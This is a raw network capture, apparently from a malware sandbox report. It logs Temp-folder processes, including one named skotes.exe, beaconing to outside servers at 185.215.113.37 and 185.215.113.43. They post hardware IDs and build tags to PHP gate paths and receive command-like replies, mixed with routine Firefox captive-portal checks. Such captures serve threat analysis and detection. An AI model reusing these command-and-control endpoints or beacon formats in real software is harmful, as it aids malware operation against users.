32	192.168.2.7	50047	185.215.113.37	80	4796	C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:56.782897949 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:02:57.787522078 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:02:57.853806973 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIIIJDAAAAAAKECBFBA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 2d 2d 0d 0a Data Ascii: ------EHIIIJDAAAAAAKECBFBAContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------EHIIIJDAAAAAAKECBFBAContent-Disposition: form-data; name="build"doma------EHIIIJDAAAAAAKECBFBA--
Oct 24, 2024 04:02:58.149292946 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	50048	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:58.354964018 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:02:59.270994902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	50050	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:01.043255091 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:03:01.939094067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	50055	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:03.667217016 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:03:04.576168060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	50062	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:05.052392960 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:05.661835909 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35446 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	50074	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:05.821290970 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:06.414036036 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47361 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:06.499624014 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:06.625123978 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47361 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:06.692596912 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:06.817326069 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47361 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:06.954948902 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:07.080579996 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47362 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:07.214473009 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:07.339557886 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47362 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:07.452539921 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:07.577168941 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47362 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:07.853279114 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:07.978357077 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47362 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:08.077500105 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:08.202157021 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47363 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:08.826822042 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:08.951355934 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47363 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:11.928540945 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:12.053221941 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47366 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	50076	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:05.871149063 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:06.466115952 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35447 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:06.555924892 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:06.680839062 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35447 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:06.796668053 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:06.921788931 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35447 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:07.086529016 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:07.211211920 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35448 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:07.312968016 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:07.437761068 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35448 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:07.725584030 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:07.850368023 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35448 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:07.949773073 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:08.074626923 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35449 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:08.582055092 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:08.707290888 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35449 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:03:11.799853086 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:11.925107002 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35452 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	50079	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:06.463334084 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:03:07.366796017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	50082	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:06.611027956 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:03:07.522761106 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:03:07.525243998 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIEC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 2d 2d 0d 0a Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="build"doma------GIECFIEGDBKJKFIDHIEC--
Oct 24, 2024 04:03:07.813941956 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
